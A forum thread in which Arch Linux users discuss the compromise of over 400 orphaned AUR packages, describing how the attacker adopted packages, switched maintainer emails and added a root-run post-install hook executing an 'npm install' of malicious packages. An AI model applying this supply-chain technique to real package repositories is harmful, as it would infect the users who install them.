The Arch Linux AUR had over 400 packages compromised with malware

Not panicking, for now, as I don't use npm or have any apps that do. But I agree with the sentiment: Oh dear.

I use Arch, by the wAAAAAAAAAAAAAAAAAAAAAAAAAAAAH!!!!!

Quoting: GrishnakhNot panicking, for now, as I don't use npm or have any apps that do. But I agree with the sentiment: Oh dear.

The hit packages actually pulled in npm, which is then used to grab the malicious bits.

I too have been avoiding stuff that use npm like the plague... turns out it was not an excess of paranoia. 😆

> so it's really quite a shocking security breach to have affected so many different packages.

The methodology of the attacker seems like the most obvious way to attack the AUR. There are 15000+ orphaned packages on the AUR, where anyone can create an account and then adopt packages in mass. Then push updates and wait until someone who has the package installed with their AUR helper, maybe happens to be a bit sleep deprived that day, and just runs an AUR update without inspecting the PKGBUILDs too much.

AUR being user-generated content, unsupported, at your own risk, whatever... aside, this along with the compromised CEMU Linux AppImage makes me feel that the Linux desktop community is in for a real rude awakening when it comes to security that has been neglected in many ways. (even the XZ Utils backdoor was largely targeting servers!)

Quoting: GrishnakhNot panicking, for now, as I don't use npm or have any apps that do. But I agree with the sentiment: Oh dear.

It seems the issue isn't that npm based packages got compromised, but rather npm was added to packages that don't generally need it. They are using npm *IN THE BUILD STEP* not adding it to your system.

Have a look at the list of packages in the thread, they cover a huge range of things.

They also changed the emails to be the same username but on gmail instead of whatever the original maintainers used.
The mailing list has a discussion on how to prevent this in the future. Hopefully some moderation process for adopting abandoned packages or even a limit on how many packages you can adopt in a set period, since the current process of nothing is insane. Adopting 400 packages in one go should be a major red flag for any moderator.

For a quick check if you have any of the affected packages installed, pacman -Qm lists the local packages only, and then depending on the number, either manually ctrl+f them or diff the two lists...

Quoting: mattaraxiaIt seems the issue isn't that npm based packages got compromised, but rather npm was added to packages that don't generally need it. They are using npm *IN THE BUILD STEP* not adding it to your system.

For the malicious packages I saw, the "npm install" was put into a .install file that bundles a hook in the package that gets run after installing a package. So just by looking at the PKGBUILD itself, it's completely fine apart from that addition (and there are packages that do need legit post-install hooks!), and nothing malicious happens when you build the package with makepkg, typically not as root.

It's only when you try to install the package with pacman that it runs the post-install hook... Which happens to run as root! Quite insidious, and I would say this is really clever from the attacker, but in reality it was probably devised by some AI agent with access to the Arch Wiki's packaging documentation...

Quoting: ROllerozxa

Quoting: mattaraxiaIt seems the issue isn't that npm based packages got compromised, but rather npm was added to packages that don't generally need it. They are using npm *IN THE BUILD STEP* not adding it to your system.

For the malicious packages I saw, the "npm install" was put into a .install file that bundles a hook in the package that gets run after installing a package. So just by looking at the PKGBUILD itself, it's completely fine apart from that addition (and there are packages that do need legit post-install hooks!), and nothing malicious happens when you build the package with makepkg, typically not as root.

It's only when you try to install the package with pacman that it runs the post-install hook... Which happens to run as root! Quite insidious, and I would say this is really clever from the attacker, but in reality it was probably devised by some AI agent with access to the Arch Wiki's packaging documentation...

So it *does* run on the system as a hook, not in the build step?

Does it add npm as a dependency to the package then?

Either way though, every Arch user who's installed anything from AUR should look at the list. It's huge and covers a crazy range of things. I think I saw Window Maker and some COSMIC related stuff in there. Also a bunch of Perl and Python stuff that probably make the effective list much bigger, as other things depend on them.

This highlights how AUR cannot be the future of Linux Desktop. It's totally unregulated, mostly limited to a single distro family (unless wrappers like distrobox are used), and requires a lot of user input (reading PKGBUILDs) as well as ensuring packages are up-to-date on the system at all times. In contrast, there hasn't been a single case of malware found on Flathub so far, mostly due to the strict requirements to publish on Flathub, and every app being manually reviewed before it's published. Also Flatpaks are available on every distro.

Last edited by Stella on 12 Jun 2026 at 12:57 pm UTC

In the PKGBUILD it adds npm as a dependency and changes the maintainer contact details to gmail accounts, then install={package-name}.install
In the {package-name}.install it runs 'npm install atomic-lockfile axios got'

Even if the npm stuff may not seem immediately suspicious to a layman, all of the maintainers suddenly changing their contact details should.

Quoting: mattaraxiaSo it *does* run on the system as a hook, not in the build step?

Does it add npm as a dependency to the package then?

Yeah the ones I saw also added npm as a dependency to the package, which can be a red flag depending on what the package is about. If one is just using an AUR helper or does `makepkg -si` the difference isn't really whether it happens during build time or install time as the two happen at the same time, but there's a big difference in the privileges that the two run at.

Then I also heard that the payload in the npm package itself apparently installs an eBPF kernel module if it is running as root to disguise itself ([link to analysis someone has made of the malware](https://ioctl.fail/preliminary-analysis-of-aur-malware/)), so it does not seem to be a coincidence they did it like that.

the Arch Linux AUR (Arch User Repository) needs some better security and package checks […] for some improvements to the packaging processes to prevent this from happening in future.

Well, there is no check at all currently. The AUR is just a way for user to share what they use personnally, it shouldn’t be trusted.

People that use AUR recipes without checking them before can only be angry against themself, it’s like getting a random script on GitHub and running it blindly…

Of course, cleaning the AUR as it’s going now is a good thing, but Arch could simply close the AUR and ask people to share their PKGBUILDs elsewhere instead.

Last edited by Breizh on 12 Jun 2026 at 1:15 pm UTC

Quoting: ROllerozxa

Quoting: mattaraxiaSo it *does* run on the system as a hook, not in the build step?

Does it add npm as a dependency to the package then?

Yeah the ones I saw also added npm as a dependency to the package, which can be a red flag depending on what the package is about. If one is just using an AUR helper or does `makepkg -si` the difference isn't really whether it happens during build time or install time as the two happen at the same time, but there's a big difference in the privileges that the two run at.

Then I also heard that the payload in the npm package itself apparently installs an eBPF kernel module if it is running as root to disguise itself ([link to analysis someone has made of the malware](https://ioctl.fail/preliminary-analysis-of-aur-malware/)), so it does not seem to be a coincidence they did it like that.

Well that is so much worse. This may be one of the worst Linux malware campaigns I've ever seen that wasn't targeting specific enterprises, will catch a lot of, probably mostly, desktop users. I mean the apple-music-desktop package is in the list. All kinds of things like that.

I wonder if it will dent all the momentum Arch has right now.

AUR does not have package checks by definition, it puts that weight on the user.

As I always say, I have been using Arch as my main distro for 10+ years, and despite that (maybe because of that) I never recommend Arch!

A compromised npm.
That's meta.
Npm itself suffers greatly from malicious package inserts.(they suffer from an install process with too much power and insufficient credentials protection)

I'll hold back on AUR package updates on my Garuda box for the time being until they've fixed this issue.

Not sure if I have any of the packages that have bee compromised but I'd rather just be careful.

Quoting: ROllerozxa

Quoting: mattaraxiaIt seems the issue isn't that npm based packages got compromised, but rather npm was added to packages that don't generally need it. They are using npm *IN THE BUILD STEP* not adding it to your system.

For the malicious packages I saw, the "npm install" was put into a .install file that bundles a hook in the package that gets run after installing a package. So just by looking at the PKGBUILD itself, it's completely fine apart from that addition (and there are packages that do need legit post-install hooks!), and nothing malicious happens when you build the package with makepkg, typically not as root.

It's only when you try to install the package with pacman that it runs the post-install hook... Which happens to run as root! Quite insidious, and I would say this is really clever from the attacker, but in reality it was probably devised by some AI agent with access to the Arch Wiki's packaging documentation...

It's default behavior for NPM poisoner.
This is just one of the many NPM poisoners trying to experiment with something new.
Post and preinstall hooks have wayy to much power in their current implementation for little-curated environments.

The attack is ongoing. There are now malicious packages being installed through bun. The attack follows the same format as the npm ones.